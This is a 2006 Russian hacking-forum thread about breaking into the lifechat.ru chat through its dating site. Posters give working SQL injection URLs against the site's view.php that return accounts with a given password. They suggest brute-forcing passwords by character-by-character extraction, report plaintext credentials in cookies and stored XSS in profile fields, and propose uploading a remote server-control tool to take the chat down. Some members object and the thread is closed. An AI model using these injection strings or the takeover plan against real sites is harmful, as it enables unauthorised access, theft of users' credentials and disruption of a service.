Чаты Ломаем чат бородина

Discussion in 'Веб-уязвимости' started by artkino, 3 Apr 2006.

Thread Status:
Not open for further replies.
  1. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    Еесть чат www.lifechat.ru как мы все знаем сломать чат на движке проблематично,но мы можем сломать этот чат через службу знакомств на этом же сервре где и чат вот ссылка на знакомства: http://dating.lifechat.ru/
     
  2. seeattact

    seeattact Banned

    Joined:
    12 Jan 2006
    Messages:
    538
    Likes Received:
    87
    Reputations:
    2
    и к чему ты это написал?
     
  3. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    А ктому что можно попробовать сломать....
     
  4. seeattact

    seeattact Banned

    Joined:
    12 Jan 2006
    Messages:
    538
    Likes Received:
    87
    Reputations:
    2
    ну вот и пробуй сам.как сломаеш напишеш.
     
  5. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    _http://dating.lifechat.ru/view.php?rand=1'
    Но это уже не ко мне, а к ZaCo
     
    _________________________
  6. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    зачем зако когда есть его замеситель =))))
    http://dating.lifechat.ru/view.php?rand=99999999999+or+(pass=123)/*
    выдаст юзера у кого пароль 123, проверил, все подходит.

    http://dating.lifechat.ru/view.php?rand=99999999999+or+(id=442)+and(pass=123)/*

    если будешь перебирать все возможные пароли то ты получишь пароль от тестового аккаунта(он первый)? вдруг этот пароль еще куда нить подойдет, заметь пароли могут быть не только в цифромов виде, можешь еще помучаться с (ascii(substring(pass,0,1))<100
    вообщем вариантов много, жалко union и select не пашут
     
    #6 k1b0rg, 3 Apr 2006
    Last edited: 3 Apr 2006
    1 person likes this.
  7. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    Отлчино,а теперь можно попробовать взломать этот чат через сайт знакомств. Есть такая программа если ее залить на сервер то можно иметь полный доступ к серверу и чату: http://php.spb.ru/remview/
     
  8. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    ну нехера себе, где достал, она же приватная и стоит 500$ ты крут. научи пользоваться....
    ты ниибацо крут, тебе надо ты и ломай, тебе дали уязвимость, показали как пользоваться, сиди и ломай, этот чат никому нах не нужен, тока себя потешить
     
    1 person likes this.
  9. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    Так вот давайте потешимся.
     
  10. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    кому нуда уже все потешились, дальше что?
     
  11. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    Дальше лучше,плохо потешились если чат был положили, тогда бы точно потешились.
     
  12. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    Там в куках логин-пароль храняться в открытом виде.
    При создании анкеты поля "О себе:" и "Кого ищу:" не фильруют теги (активная XSS)
    http://dating.lifechat.ru/view.php?id=553&sex=1

    artkino - это кому больше надо? Тебе или нам? От этого чата и от знакомств не тепло не холодно. И зачем что-то сносить и вообще заниматься дестроем? Чтобы людям насолить? За что? А если они лучше тебя?
     
    _________________________
  13. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2

    Там админ нехороший человек......
     
  14. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    534
    Likes Received:
    66
    Reputations:
    49
    они лучше него, знаком с обоими админами, отличные парни.
     
    2 people like this.
  15. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    closed?
     
    _________________________
  16. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    Хех да закрывайте тему.
     
Loading...
Thread Status:
Not open for further replies.